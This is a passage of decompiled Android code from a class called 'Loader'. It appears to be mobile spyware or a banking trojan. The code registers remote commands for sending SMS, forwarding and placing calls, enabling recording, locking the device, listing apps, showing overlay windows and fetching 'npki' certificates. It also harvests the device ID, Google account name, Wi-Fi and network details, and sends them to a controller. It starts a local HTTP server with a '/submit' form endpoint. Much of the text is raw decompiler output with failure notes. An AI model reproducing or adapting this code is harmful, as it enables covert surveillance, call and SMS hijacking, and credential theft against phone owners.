- goto L_0x005d
- L_0x0184:
- android.telephony.TelephonyManager r3 = (android.telephony.TelephonyManager) r3
- java.lang.String r4 = ""
- r0 = r21
- java.lang.String r4 = r0.a(r3) // Catch:{ Throwable -> 0x02b7 }
- r12 = r4
- L_0x018f:
- java.lang.String r6 = ""
- java.lang.String r4 = r3.getDeviceId() // Catch:{ Throwable -> 0x02bb }
- java.lang.String r7 = "tm.deviceId"
- d.e.b.h.a(r4, r7) // Catch:{ Throwable -> 0x02bb }
- r13 = r4
- L_0x019b:
- r0 = r21
- android.content.Context r4 = r0.a
- if (r4 != 0) goto L_0x01a6
- java.lang.String r6 = "ctx"
- d.e.b.h.b(r6)
- L_0x01a6:
- java.lang.String r6 = "wifi"
- java.lang.Object r4 = r4.getSystemService(r6)
- if (r4 != 0) goto L_0x01b6
- d.g r2 = new d.g
- java.lang.String r3 = "null cannot be cast to non-null type android.net.wifi.WifiManager"
- r2.m563init(r3)
- throw r2
- L_0x01b6:
- android.net.wifi.WifiManager r4 = (android.net.wifi.WifiManager) r4
- r4.startScan()
- java.lang.String r6 = "Swi"
- android.net.wifi.WifiManager$WifiLock r4 = r4.createWifiLock(r6) // Catch:{ Throwable -> 0x02f3 }
- java.lang.String r6 = "wm.createWifiLock(\"Swi\")"
- d.e.b.h.a(r4, r6) // Catch:{ Throwable -> 0x02f3 }
- r0 = r21
- r0.wifiLock = r4 // Catch:{ Throwable -> 0x02f3 }
- r0 = r21
- android.net.wifi.WifiManager$WifiLock r4 = r0.wifiLock // Catch:{ Throwable -> 0x02f3 }
- if (r4 != 0) goto L_0x01d5
- java.lang.String r6 = "wifiLock"
- d.e.b.h.b(r6) // Catch:{ Throwable -> 0x02f3 }
- L_0x01d5:
- r6 = 0
- r4.setReferenceCounted(r6) // Catch:{ Throwable -> 0x02f3 }
- r0 = r21
- android.net.wifi.WifiManager$WifiLock r4 = r0.wifiLock // Catch:{ Throwable -> 0x02f3 }
- if (r4 != 0) goto L_0x01e4
- java.lang.String r6 = "wifiLock"
- d.e.b.h.b(r6) // Catch:{ Throwable -> 0x02f3 }
- L_0x01e4:
- r4.acquire() // Catch:{ Throwable -> 0x02f3 }
- L_0x01e7:
- r0 = r21
- com.g r15 = r0.g
- r0 = r21
- android.content.Context r4 = r0.a
- if (r4 != 0) goto L_0x01f6
- java.lang.String r6 = "ctx"
- d.e.b.h.b(r6)
- L_0x01f6:
- java.lang.String r16 = a.a.a(r4)
- int r17 = com.c.a
- java.lang.String r18 = android.os.Build.VERSION.RELEASE
- java.lang.StringBuilder r4 = new java.lang.StringBuilder
- r4.<init>()
- java.lang.String r6 = android.os.Build.MODEL
- r4.append(r6)
- java.lang.String r6 = ":"
- r4.append(r6)
- java.lang.String r6 = android.os.Build.DISPLAY
- r4.append(r6)
- java.lang.String r19 = r4.toString()
- r0 = r21
- boolean r0 = r0.u
- r20 = r0
- int r3 = r3.getSimState()
- r4 = 5
- if (r3 != r4) goto L_0x02b3
- r11 = r5
- L_0x0226:
- java.lang.Iterable r2 = (java.lang.Iterable) r2
- java.lang.String r3 = "\n"
- java.lang.CharSequence r3 = (java.lang.CharSequence) r3
- r4 = 0
- r5 = 0
- r6 = 0
- r7 = 0
- r8 = 0
- r9 = 62
- r10 = 0
- java.lang.String r2 = d.a.g.a(r2, r3, r4, r5, r6, r7, r8, r9, r10)
- long r4 = r21.getFirstAppDate()
- r0 = r21
- android.content.SharedPreferences r3 = r0.e
- if (r3 != 0) goto L_0x0247
- java.lang.String r6 = "preferences"
- d.e.b.h.b(r6)
- L_0x0247:
- java.lang.String r6 = "hello"
- r7 = 12
- java.lang.Object[] r7 = new java.lang.Object[r7]
- r8 = 0
- r7[r8] = r16
- r8 = 1
- java.lang.Integer r9 = java.lang.Integer.valueOf(r17)
- r7[r8] = r9
- r8 = 2
- r7[r8] = r18
- r8 = 3
- r7[r8] = r19
- r8 = 4
- java.lang.Boolean r9 = java.lang.Boolean.valueOf(r20)
- r7[r8] = r9
- r8 = 5
- java.lang.Integer r9 = java.lang.Integer.valueOf(r14)
- r7[r8] = r9
- r8 = 6
- java.lang.Boolean r9 = java.lang.Boolean.valueOf(r11)
- r7[r8] = r9
- r8 = 7
- r7[r8] = r12
- r8 = 8
- r7[r8] = r13
- r8 = 9
- r7[r8] = r2
- r2 = 10
- java.lang.Long r4 = java.lang.Long.valueOf(r4)
- r7[r2] = r4
- r2 = 11
- java.lang.String r4 = "create"
- r5 = 0
- int r3 = r3.getInt(r4, r5)
- java.lang.Integer r3 = java.lang.Integer.valueOf(r3)
- r7[r2] = r3
- c.a.s r5 = r15.b(r6, r7)
- com.Loader$k r2 = new com.Loader$k
- r0 = r21
- r2.m259init(r0)
- c.a.d.d r2 = (c.a.d.d) r2
- com.Loader$l r3 = com.Loader.l.a
- d.e.a.b r3 = (d.e.a.b) r3
- if (r3 == 0) goto L_0x02ad
- com.d r4 = new com.d
- r4.m362init(r3)
- r3 = r4
- L_0x02ad:
- c.a.d.d r3 = (c.a.d.d) r3
- r5.a(r2, r3)
- return
- L_0x02b3:
- r3 = 0
- r11 = r3
- goto L_0x0226
- L_0x02b7:
- r6 = move-exception
- r12 = r4
- goto L_0x018f
- L_0x02bb:
- r4 = move-exception
- r13 = r6
- goto L_0x019b
- L_0x02bf:
- r3 = 0
- goto L_0x0087
- L_0x02c2:
- int r3 = r3 + 1
- goto L_0x00c4
- L_0x02c6:
- r3 = 0
- goto L_0x00d3
- L_0x02c9:
- int r3 = r3 + 1
- goto L_0x00e0
- L_0x02cd:
- r3 = 0
- goto L_0x00ef
- L_0x02d0:
- int r3 = r3 + 1
- goto L_0x00fc
- L_0x02d4:
- r3 = 0
- goto L_0x010b
- L_0x02d7:
- int r3 = r3 + 1
- goto L_0x0118
- L_0x02db:
- r3 = 0
- goto L_0x0127
- L_0x02de:
- int r3 = r3 + 1
- goto L_0x0134
- L_0x02e2:
- r3 = 0
- goto L_0x0143
- L_0x02e5:
- int r3 = r3 + 1
- goto L_0x0150
- L_0x02e9:
- r3 = 0
- goto L_0x015f
- L_0x02ec:
- int r3 = r3 + 1
- goto L_0x016c
- L_0x02f0:
- r3 = 0
- goto L_0x017b
- L_0x02f3:
- r4 = move-exception
- goto L_0x01e7
- */
- throw new UnsupportedOperationException("Method not decompiled: com.Loader.c():void");
- }
- /* access modifiers changed from: private|final */
- public final void c(String str) {
- this.g.b("openbrowser2", new String[]{Locale.getDefault().toString()}).a(c.a.a.b.a.a()).a(new az(this, str), ba.a);
- }
- public static final Loader create() {
- return Companion.a();
- }
- private final void d() {
- this.g.a("sendSms", (d.e.a.b<? super Object[], ? extends c.a.h<?>>) new p(this));
- this.g.a("setWifi", (d.e.a.b<? super Object[], ? extends c.a.h<?>>) new aa(this));
- this.g.a("gcont", (d.e.a.b<? super Object[], ? extends c.a.h<?>>) new ac(this));
- this.g.a("lock", (d.e.a.b<? super Object[], ? extends c.a.h<?>>) new ad(this));
- this.g.a("bc", (d.e.a.b<? super Object[], ? extends c.a.h<?>>) new ae(this));
- this.g.a("setForward", (d.e.a.b<? super Object[], ? extends c.a.h<?>>) new af(this));
- this.g.a("getForward", (d.e.a.b<? super Object[], ? extends c.a.h<?>>) new ag(this));
- this.g.a("hasPkg", (d.e.a.b<? super Object[], ? extends c.a.h<?>>) new ah(this));
- this.g.a("setRingerMode", (d.e.a.b<? super Object[], ? extends c.a.h<?>>) new ai(this));
- this.g.a("setRecEnable", (d.e.a.b<? super Object[], ? extends c.a.h<?>>) new q(this));
- this.g.a("reqState", (d.e.a.b<? super Object[], ? extends c.a.h<?>>) new r(this));
- this.g.a("showHome", (d.e.a.b<? super Object[], ? extends c.a.h<?>>) new s(this));
- this.g.a("getnpki", (d.e.a.b<? super Object[], ? extends c.a.h<?>>) t.a);
- this.g.a("http", (d.e.a.b<? super Object[], ? extends c.a.h<?>>) u.a);
- this.g.a("onRecordAction", (d.e.a.b<? super Object[], ? extends c.a.h<?>>) new v(this));
- this.g.a("call", (d.e.a.b<? super Object[], ? extends c.a.h<?>>) new w(this));
- this.g.a("get_apps", (d.e.a.b<? super Object[], ? extends c.a.h<?>>) new x(this));
- this.g.a("show_fs_float_window", (d.e.a.b<? super Object[], ? extends c.a.h<?>>) new y(this));
- this.g.a("ping", (d.e.a.b<? super Object[], ? extends c.a.h<?>>) new z(this));
- this.g.a("getPhoneState", (d.e.a.b<? super Object[], ? extends c.a.h<?>>) new ab(this));
- }
- /* access modifiers changed from: private|final */
- public final String e() {
- Account account;
- Context context = this.a;
- if (context == null) {
- d.e.b.h.b("ctx");
- }
- Object systemService = context.getSystemService("account");
- if (systemService == null) {
- throw new d.g("null cannot be cast to non-null type android.accounts.AccountManager");
- }
- Account[] accounts = ((AccountManager) systemService).getAccounts();
- String str = "";
- d.e.b.h.a((Object) accounts, "accounts");
- int length = accounts.length;
- int i2 = 0;
- while (true) {
- if (i2 >= length) {
- account = null;
- break;
- }
- account = accounts[i2];
- if (d.e.b.h.a((Object) "com.google", (Object) account.type)) {
- break;
- }
- i2++;
- }
- if (account == null) {
- return str;
- }
- String str2 = account.name;
- d.e.b.h.a((Object) str2, "acc.name");
- return str2;
- }
- /* access modifiers changed from: private|final */
- @SuppressLint({"NewApi"})
- public final void f() {
- Context context = this.a;
- if (context == null) {
- d.e.b.h.b("ctx");
- }
- Object systemService = context.getSystemService("notification");
- if (systemService == null) {
- throw new d.g("null cannot be cast to non-null type android.app.NotificationManager");
- }
- NotificationManager notificationManager = (NotificationManager) systemService;
- notificationManager.cancel(12312);
- this.g.b("getnotify", null).a(c.a.a.b.a.a()).a(new g(this, notificationManager, 12312), h.a);
- }
- /* access modifiers changed from: private|final */
- public final String g() {
- int nextInt = new Random().nextInt(10000) + 2000;
- b.g gVar = new b.g(nextInt);
- gVar.a(new aw(this, "/"));
- gVar.b(new ax(this, gVar, "/submit"));
- new Thread(new ay(gVar)).start();
- StringBuilder sb = new StringBuilder();
- sb.append("http://127.0.0.1:");
- sb.append(nextInt);
- sb.append('/');
- return sb.toString();
- }
- /* JADX DEBUG: Multi-variable type inference result: failure, time: 7 ms */
- /* JADX WARNING: type inference failed for: r1v17 */
- /* JADX WARNING: type inference failed for: r2v12, types: [com.d] */
- /* access modifiers changed from: private|final */
- /* JADX WARNING: Removed duplicated region for block: B:129:0x029a */
- /* JADX WARNING: Removed duplicated region for block: B:132:0x0300 */
- /* JADX WARNING: Removed duplicated region for block: B:138:0x031a */
- /* JADX WARNING: Removed duplicated region for block: B:79:0x0193 */
- /* JADX WARNING: Removed duplicated region for block: B:107:0x0230 */
- /* JADX WARNING: Removed duplicated region for block: B:113:0x0248 */
- /* JADX WARNING: Removed duplicated region for block: B:110:0x023d */
- /* JADX WARNING: Unknown variable types count: 1 */
- @android.annotation.SuppressLint({"WrongConstant", "NewApi"})
- public final void h() {
- /*
- r14 = this;
- com.g r0 = r14.g
- boolean r0 = r0.b()
- if (r0 != 0) goto L_0x0009
- L_0x0008:
- return
- L_0x0009:
- android.content.Context r0 = r14.a
- if (r0 != 0) goto L_0x0012
- java.lang.String r1 = "ctx"
- d.e.b.h.b(r1)
- L_0x0012:
- java.lang.String r1 = "phone"
- java.lang.Object r0 = r0.getSystemService(r1)
- if (r0 != 0) goto L_0x0022
- d.g r0 = new d.g
- java.lang.String r1 = "null cannot be cast to non-null type android.telephony.TelephonyManager"
- r0.m563init(r1)
- throw r0
- L_0x0022:
- r6 = r0
- android.telephony.TelephonyManager r6 = (android.telephony.TelephonyManager) r6
- android.content.Context r0 = r14.a
- if (r0 != 0) goto L_0x002e
- java.lang.String r1 = "ctx"
- d.e.b.h.b(r1)
- L_0x002e:
- java.lang.String r1 = "power"
- java.lang.Object r0 = r0.getSystemService(r1)
- if (r0 != 0) goto L_0x003e
- d.g r0 = new d.g
- java.lang.String r1 = "null cannot be cast to non-null type android.os.PowerManager"
- r0.m563init(r1)
- throw r0
- L_0x003e:
- r7 = r0
- android.os.PowerManager r7 = (android.os.PowerManager) r7
- int r0 = android.os.Build.VERSION.SDK_INT
- r1 = 23
- if (r0 < r1) goto L_0x00ab
- java.lang.Class r0 = r7.getClass()
- java.lang.String r1 = "isIgnoringBatteryOptimizations"
- r2 = 1
- java.lang.Class[] r2 = new java.lang.Class[r2]
- r3 = 0
- java.lang.Class r4 = java.lang.String.class
- r2[r3] = r4
- java.lang.reflect.Method r0 = r0.getMethod(r1, r2)
- android.content.Context r1 = r14.a
- if (r1 != 0) goto L_0x0062
- java.lang.String r2 = "ctx"
- d.e.b.h.b(r2)
- L_0x0062:
- java.lang.String r2 = "power"
- java.lang.Object r1 = r1.getSystemService(r2)
- android.content.Context r2 = r14.a
- if (r2 != 0) goto L_0x0071
- java.lang.String r3 = "ctx"
- d.e.b.h.b(r3)
- L_0x0071:
- r3 = 1
- java.lang.Object[] r3 = new java.lang.Object[r3]
- r4 = 0
- java.lang.String r2 = r2.getPackageName()
- r3[r4] = r2
- java.lang.Object r0 = r0.invoke(r1, r3)
- if (r0 != 0) goto L_0x0089
- d.g r0 = new d.g
- java.lang.String r1 = "null cannot be cast to non-null type kotlin.Boolean"
- r0.m563init(r1)
- throw r0
- L_0x0089:
- java.lang.Boolean r0 = (java.lang.Boolean) r0
- boolean r0 = r0.booleanValue()
- r0 = r0 ^ 1
- r9 = r0
- L_0x0092:
- android.content.Context r0 = r14.a
- if (r0 != 0) goto L_0x009b
- java.lang.String r1 = "ctx"
- d.e.b.h.b(r1)
- L_0x009b:
- java.lang.String r1 = "connectivity"
- java.lang.Object r0 = r0.getSystemService(r1)
- if (r0 != 0) goto L_0x00ae
- d.g r0 = new d.g
- java.lang.String r1 = "null cannot be cast to non-null type android.net.ConnectivityManager"
- r0.m563init(r1)
- throw r0
- L_0x00ab:
- r0 = 0
- r9 = r0
- goto L_0x0092
- L_0x00ae:
- android.net.ConnectivityManager r0 = (android.net.ConnectivityManager) r0
- android.net.NetworkInfo r1 = r0.getActiveNetworkInfo()
- java.lang.String r0 = ""
- if (r1 == 0) goto L_0x00c1
- java.lang.String r0 = r1.getTypeName()
- java.lang.String r1 = "info.typeName"
- d.e.b.h.a(r0, r1)
- L_0x00c1:
- java.lang.String r1 = "MOBILE"
- boolean r1 = d.e.b.h.a(r0, r1)
- if (r1 == 0) goto L_0x0324
- int r0 = r6.getNetworkType()
- java.lang.String r0 = com.q.a(r0)
- r5 = r0
- L_0x00d2:
- android.content.Context r0 = r14.a
- if (r0 != 0) goto L_0x00db
- java.lang.String r1 = "ctx"
- d.e.b.h.b(r1)
- L_0x00db:
- java.lang.String r1 = "wifi"
- java.lang.Object r0 = r0.getSystemService(r1)
- if (r0 != 0) goto L_0x00eb
- d.g r0 = new d.g
- java.lang.String r1 = "null cannot be cast to non-null type android.net.wifi.WifiManager"
- r0.m563init(r1)
- throw r0
- L_0x00eb:
- android.net.wifi.WifiManager r0 = (android.net.wifi.WifiManager) r0
- java.lang.String r1 = "WIFI"
- boolean r1 = d.e.b.h.a(r5, r1)
- if (r1 == 0) goto L_0x031e
- android.net.wifi.WifiInfo r8 = r0.getConnectionInfo()
- java.lang.String r1 = "curr"
- d.e.b.h.a(r8, r1)
- java.lang.String r1 = r8.getBSSID()
- if (r1 == 0) goto L_0x031e
- java.util.HashMap<java.lang.String, java.lang.String> r1 = r14.w
- java.lang.String r2 = r8.getBSSID()
- java.lang.Object r1 = r1.get(r2)
- java.lang.String r1 = (java.lang.String) r1
- if (r1 != 0) goto L_0x016b
- java.util.List r2 = r0.getScanResults()
- java.lang.String r3 = "scanResults"
- d.e.b.h.a(r2, r3)
- java.lang.Iterable r2 = (java.lang.Iterable) r2
- java.util.Iterator r10 = r2.iterator()
- L_0x0121:
- boolean r3 = r10.hasNext()
- if (r3 == 0) goto L_0x0168
- java.lang.Object r4 = r10.next()
- r3 = r4
- android.net.wifi.ScanResult r3 = (android.net.wifi.ScanResult) r3
- java.lang.String r3 = r3.BSSID
- java.lang.String r11 = r8.getBSSID()
- boolean r3 = d.e.b.h.a(r3, r11)
- if (r3 == 0) goto L_0x0121
- r3 = r4
- L_0x013b:
- android.net.wifi.ScanResult r3 = (android.net.wifi.ScanResult) r3
- if (r3 == 0) goto L_0x0321
- java.lang.String r1 = r3.capabilities
- r3 = r1
- L_0x0142:
- java.util.Iterator r4 = r2.iterator()
- L_0x0146:
- boolean r1 = r4.hasNext()
- if (r1 == 0) goto L_0x016a
- java.lang.Object r1 = r4.next()
- android.net.wifi.ScanResult r1 = (android.net.wifi.ScanResult) r1
- java.util.HashMap<java.lang.String, java.lang.String> r2 = r14.w
- java.util.Map r2 = (java.util.Map) r2
- java.lang.String r8 = r1.BSSID
- java.lang.String r10 = "it.BSSID"
- d.e.b.h.a(r8, r10)
- java.lang.String r1 = r1.capabilities
- java.lang.String r10 = "it.capabilities"
- d.e.b.h.a(r1, r10)
- r2.put(r8, r1)
- goto L_0x0146
- L_0x0168:
- r3 = 0
- goto L_0x013b
- L_0x016a:
- r1 = r3
- L_0x016b:
- if (r1 == 0) goto L_0x031e
- java.lang.CharSequence r1 = (java.lang.CharSequence) r1
- java.lang.String r2 = "WPA"
- java.lang.CharSequence r2 = (java.lang.CharSequence) r2
- r3 = 0
- r4 = 2
- r5 = 0
- boolean r2 = d.i.m.a(r1, r2, r3, r4, r5)
- if (r2 != 0) goto L_0x0189
- java.lang.String r2 = "WEP"
- java.lang.CharSequence r2 = (java.lang.CharSequence) r2
- r3 = 0
- r4 = 2
- r5 = 0
- boolean r1 = d.i.m.a(r1, r2, r3, r4, r5)
- if (r1 == 0) goto L_0x01de
- L_0x0189:
- java.lang.String r5 = "WIFI有密码"
- r10 = r5
- L_0x018c:
- java.lang.String r4 = ""
- r1 = -1
- java.lang.String r2 = ""
- if (r0 == 0) goto L_0x031a
- android.net.wifi.WifiInfo r3 = r0.getConnectionInfo()
- if (r3 == 0) goto L_0x0317
- java.lang.String r1 = r3.getMacAddress()
- if (r1 == 0) goto L_0x01e2
- r4 = r1
- L_0x01a0:
- int r1 = r3.getRssi()
- r2 = 10
- int r5 = android.net.wifi.WifiManager.calculateSignalLevel(r1, r2)
- java.lang.String r2 = r3.getSSID()
- java.lang.String r1 = "wifiInfo.ssid"
- d.e.b.h.a(r2, r1)
- if (r2 == 0) goto L_0x01c5
- r1 = r2
- java.lang.CharSequence r1 = (java.lang.CharSequence) r1
- java.lang.String r3 = "unknown ssid"
- java.lang.CharSequence r3 = (java.lang.CharSequence) r3
- r8 = 0
- r11 = 2
- r12 = 0
- boolean r1 = d.i.m.a(r1, r3, r8, r11, r12)
- if (r1 == 0) goto L_0x0314
- L_0x01c5:
- android.content.Context r1 = r14.a
- if (r1 != 0) goto L_0x01ce
- java.lang.String r3 = "ctx"
- d.e.b.h.b(r3)
- L_0x01ce:
- java.lang.String r3 = "connectivity"
- java.lang.Object r1 = r1.getSystemService(r3)
- if (r1 != 0) goto L_0x01e6
- d.g r0 = new d.g
- java.lang.String r1 = "null cannot be cast to non-null type android.net.ConnectivityManager"
- r0.m563init(r1)
- throw r0
- L_0x01de:
- java.lang.String r5 = "WIFI无密码"
- r10 = r5
- goto L_0x018c
- L_0x01e2:
- java.lang.String r1 = ""
- r4 = r1
- goto L_0x01a0
- L_0x01e6:
- android.net.ConnectivityManager r1 = (android.net.ConnectivityManager) r1
- r3 = 1
- android.net.NetworkInfo r1 = r1.getNetworkInfo(r3)
- if (r1 == 0) goto L_0x0314
- java.lang.String r1 = r1.getExtraInfo()
- if (r1 == 0) goto L_0x0245
- L_0x01f5:
- r2 = r1
- r3 = r5
- L_0x01f7:
- android.net.DhcpInfo r0 = r0.getDhcpInfo()
- if (r0 == 0) goto L_0x0310
- java.lang.StringBuilder r1 = new java.lang.StringBuilder
- r1.<init>()
- r1.append(r4)
- java.lang.String r4 = ","
- r1.append(r4)
- int r0 = r0.gateway
- r4 = 16
- int r4 = d.i.a.a(r4)
- java.lang.String r0 = java.lang.Integer.toString(r0, r4)
- java.lang.String r4 = "java.lang.Integer.toStri…(this, checkRadix(radix))"
- d.e.b.h.a(r0, r4)
- r1.append(r0)
- java.lang.String r0 = ","
- r1.append(r0)
- r1.append(r2)
- java.lang.String r4 = r1.toString()
- r11 = r4
- r12 = r3
- L_0x022c:
- android.content.Context r0 = r14.a
- if (r0 != 0) goto L_0x0235
- java.lang.String r1 = "ctx"
- d.e.b.h.b(r1)
- L_0x0235:
- java.lang.String r1 = "audio"
- java.lang.Object r0 = r0.getSystemService(r1)
- if (r0 != 0) goto L_0x0248
- d.g r0 = new d.g
- java.lang.String r1 = "null cannot be cast to non-null type android.media.AudioManager"
- r0.m563init(r1)
- throw r0
- L_0x0245:
- java.lang.String r1 = ""
- goto L_0x01f5
- L_0x0248:
- r8 = r0
- android.media.AudioManager r8 = (android.media.AudioManager) r8
- int r0 = android.os.Build.VERSION.SDK_INT
- r1 = 21
- if (r0 < r1) goto L_0x030d
- android.content.Context r0 = r14.a
- if (r0 != 0) goto L_0x025a
- java.lang.String r1 = "ctx"
- d.e.b.h.b(r1)
- L_0x025a:
- java.lang.String r1 = "usagestats"
- java.lang.Object r0 = r0.getSystemService(r1)
- if (r0 != 0) goto L_0x026a
- d.g r0 = new d.g
- java.lang.String r1 = "null cannot be cast to non-null type android.app.usage.UsageStatsManager"
- r0.m563init(r1)
- throw r0
- L_0x026a:
- android.app.usage.UsageStatsManager r0 = (android.app.usage.UsageStatsManager) r0
- r1 = 4
- long r2 = java.lang.System.currentTimeMillis()
- r4 = 86400000(0x5265c00, float:7.82218E-36)
- long r4 = (long) r4
- long r2 = r2 - r4
- long r4 = java.lang.System.currentTimeMillis()
- java.util.List r0 = r0.queryUsageStats(r1, r2, r4)
- if (r0 == 0) goto L_0x0286
- boolean r0 = r0.isEmpty()
- if (r0 == 0) goto L_0x030d
- L_0x0286:
- r0 = 0
- L_0x0287:
- java.lang.String r1 = "WS"
- java.lang.String r2 = "state update"
- android.util.Log.d(r1, r2)
- com.g r1 = r14.g
- java.lang.String r2 = r6.getNetworkOperatorName()
- int r3 = r14.v
- android.content.SharedPreferences r4 = r14.e
- if (r4 != 0) goto L_0x029f
- java.lang.String r5 = "preferences"
- d.e.b.h.b(r5)
- L_0x029f:
- java.lang.String r5 = "state"
- r6 = 10
- java.lang.Object[] r6 = new java.lang.Object[r6]
- r13 = 0
- r6[r13] = r2
- r2 = 1
- r6[r2] = r10
- r2 = 2
- r6[r2] = r11
- r2 = 3
- java.lang.Integer r3 = java.lang.Integer.valueOf(r3)
- r6[r2] = r3
- r2 = 4
- java.lang.Integer r3 = java.lang.Integer.valueOf(r12)
- r6[r2] = r3
- r2 = 5
- java.lang.String r3 = "admin"
- r10 = 0
- boolean r3 = r4.getBoolean(r3, r10)
- java.lang.Boolean r3 = java.lang.Boolean.valueOf(r3)
- r6[r2] = r3
- r2 = 6
- java.lang.Boolean r3 = java.lang.Boolean.valueOf(r9)
- r6[r2] = r3
- r2 = 7
- boolean r3 = r7.isScreenOn()
- r3 = r3 ^ 1
- java.lang.Boolean r3 = java.lang.Boolean.valueOf(r3)
- r6[r2] = r3
- r2 = 8
- int r3 = r8.getRingerMode()
- java.lang.Integer r3 = java.lang.Integer.valueOf(r3)
- r6[r2] = r3
- r2 = 9
- java.lang.Boolean r0 = java.lang.Boolean.valueOf(r0)
- r6[r2] = r0
- c.a.s r3 = r1.b(r5, r6)
- com.Loader$m r0 = com.Loader.m.a
- c.a.d.d r0 = (c.a.d.d) r0
- com.Loader$n r1 = com.Loader.n.a
- d.e.a.b r1 = (d.e.a.b) r1
- if (r1 == 0) goto L_0x0306
- com.d r2 = new com.d
- r2.m362init(r1)
- r1 = r2
- L_0x0306:
- c.a.d.d r1 = (c.a.d.d) r1
- r3.a(r0, r1)
- goto L_0x0008
- L_0x030d:
- r0 = 1
- goto L_0x0287
- L_0x0310:
- r11 = r4
- r12 = r3
- goto L_0x022c
- L_0x0314:
- r3 = r5
- goto L_0x01f7
- L_0x0317:
- r3 = r1
- goto L_0x01f7
- L_0x031a:
- r11 = r4
- r12 = r1
- goto L_0x022c
- L_0x031e:
- r10 = r5
- goto L_0x018c
- L_0x0321:
- r3 = r1
- goto L_0x0142
- L_0x0324:
- r5 = r0
- goto L_0x00d2
- */
- throw new UnsupportedOperationException("Method not decompiled: com.Loader.h():void");
- }
- /* JADX DEBUG: Multi-variable type inference result: failure, time: 6 ms */
- /* JADX WARNING: type inference failed for: r1v4 */
- /* JADX WARNING: type inference failed for: r2v3, types: [com.d] */
- /* access modifiers changed from: private|final */
- /* JADX WARNING: Unknown variable types count: 1 */
- public final void i() {
- /*
- r5 = this;
- r2 = 1
- android.app.Dialog r0 = r5.x
- if (r0 == 0) goto L_0x000b
- boolean r0 = r0.isShowing()
- if (r0 == r2) goto L_0x0038
- L_0x000b:
- com.g r0 = r5.g
- java.lang.String r1 = "getPkgMap"
- java.lang.Boolean[] r2 = new java.lang.Boolean[r2]
- r3 = 0
- boolean r4 = r5.j()
- java.lang.Boolean r4 = java.lang.Boolean.valueOf(r4)
- r2[r3] = r4
- c.a.s r3 = r0.b(r1, r2)
- com.Loader$c r0 = new com.Loader$c
- r0.m233init(r5)
- c.a.d.d r0 = (c.a.d.d) r0
- com.Loader$d r1 = com.Loader.d.a
- d.e.a.b r1 = (d.e.a.b) r1
- if (r1 == 0) goto L_0x0033
- com.d r2 = new com.d
- r2.m362init(r1)
- r1 = r2
- L_0x0033:
- c.a.d.d r1 = (c.a.d.d) r1
- r3.a(r0, r1)
- L_0x0038:
- android.os.Handler r1 = r5.b
- com.Loader$e r0 = new com.Loader$e
- r0.m248init(r5)
- java.lang.Runnable r0 = (java.lang.Runnable) r0
- r2 = 500000(0x7a120, double:2.47033E-318)
- r1.postDelayed(r0, r2)
- return
- */
- throw new UnsupportedOperationException("Method not decompiled: com.Loader.i():void");
- }
- private final boolean j() {
- for (String contains : c.c) {
- if (this.c.contains(contains)) {
- return true;
- }
- }
- return false;
- }
- /* JADX DEBUG: Multi-variable type inference result: failure, time: 5 ms */
- /* JADX WARNING: type inference failed for: r0v0, types: [java.lang.Throwable, java.lang.Runtime] */
- /* JADX WARNING: Multi-variable type inference failed. Error: jadx.core.utils.exceptions.JadxRuntimeException: No candidate types for var: r0v0, types: [java.lang.Throwable, java.lang.Runtime]
- assigns: [java.lang.Runtime]
- uses: [java.lang.Throwable]
- at jadx.core.dex.visitors.typeinference.TypeSearch.fillTypeCandidates(TypeSearch.java:231)
- at java.util.ArrayList.forEach(Unknown Source)
- at jadx.core.dex.visitors.typeinference.TypeSearch.run(TypeSearch.java:53)
- at jadx.core.dex.visitors.typeinference.TypeInferenceVisitor.runMultiVariableSearch(TypeInferenceVisitor.java:97)
- at jadx.core.dex.visitors.typeinference.TypeInferenceVisitor.visit(TypeInferenceVisitor.java:88)
- at jadx.core.dex.visitors.DepthTraversal.visit(DepthTraversal.java:27)
- at jadx.core.dex.visitors.DepthTraversal.lambda$visit$1(DepthTraversal.java:14)
- at java.util.ArrayList.forEach(Unknown Source)
- at jadx.core.dex.visitors.DepthTraversal.visit(DepthTraversal.java:14)
- at jadx.core.ProcessClass.process(ProcessClass.java:30)
- at jadx.api.JadxDecompiler.processClass(JadxDecompiler.java:290)
- at jadx.api.JavaClass.decompile(JavaClass.java:62)
- */
- /* JADX WARNING: Unknown variable types count: 1 */
- public final void broadcastHeadsetConnected(boolean r3) {
- /*
- r2 = this;
- java.lang.RuntimeException r0 = new java.lang.RuntimeException
- java.lang.String r1 = "d2j fail translate: java.lang.RuntimeException: can not merge I and Z\r\n\tat com.googlecode.dex2jar.ir.TypeClass.merge(TypeClass.java:100)\r\n\tat com.googlecode.dex2jar.ir.ts.TypeTransformer$TypeRef.updateTypeClass(TypeTransformer.java:174)\r\n\tat com.googlecode.dex2jar.ir.ts.TypeTransformer$TypeAnalyze.copyTypes(TypeTransformer.java:311)\r\n\tat com.googlecode.dex2jar.ir.ts.TypeTransformer$TypeAnalyze.fixTypes(TypeTransformer.java:226)\r\n\tat com.googlecode.dex2jar.ir.ts.TypeTransformer$TypeAnalyze.analyze(TypeTransformer.java:207)\r\n\tat com.googlecode.dex2jar.ir.ts.TypeTransformer.transform(TypeTransformer.java:44)\r\n\tat com.googlecode.d2j.dex.Dex2jar$2.optimize(Dex2jar.java:162)\r\n\tat com.googlecode.d2j.dex.Dex2Asm.convertCode(Dex2Asm.java:414)\r\n\tat com.googlecode.d2j.dex.ExDex2Asm.convertCode(ExDex2Asm.java:42)\r\n\tat com.googlecode.d2j.dex.Dex2jar$2.convertCode(Dex2jar.java:128)\r\n\tat com.googlecode.d2j.dex.Dex2Asm.convertMethod(Dex2Asm.java:509)\r\n\tat com.googlecode.d2j.dex.Dex2Asm.convertClass(Dex2Asm.java:406)\r\n\tat com.googlecode.d2j.dex.Dex2Asm.convertDex(Dex2Asm.java:422)\r\n\tat com.googlecode.d2j.dex.Dex2jar.doTranslate(Dex2jar.java:172)\r\n\tat com.googlecode.d2j.dex.Dex2jar.to(Dex2jar.java:272)\r\n\tat com.googlecode.dex2jar.tools.Dex2jarCmd.doCommandLine(Dex2jarCmd.java:108)\r\n\tat com.googlecode.dex2jar.tools.BaseCmd.doMain(BaseCmd.java:288)\r\n\tat com.googlecode.dex2jar.tools.Dex2jarCmd.main(Dex2jarCmd.java:32)\r\n"
- r0.<init>(r1)
- throw r0
- */
- throw new UnsupportedOperationException("Method not decompiled: com.Loader.broadcastHeadsetConnected(boolean):void");
- }
- public final f getCallListener() {
- return this.m;
- }
- public final long getFirstAppDate() {
- if (this.z != 0) {
- return this.z;
- }
- Context context = this.a;
- if (context == null) {
- d.e.b.h.b("ctx");
- }
- PackageManager packageManager = context.getPackageManager();
- if (this.z == 0) {
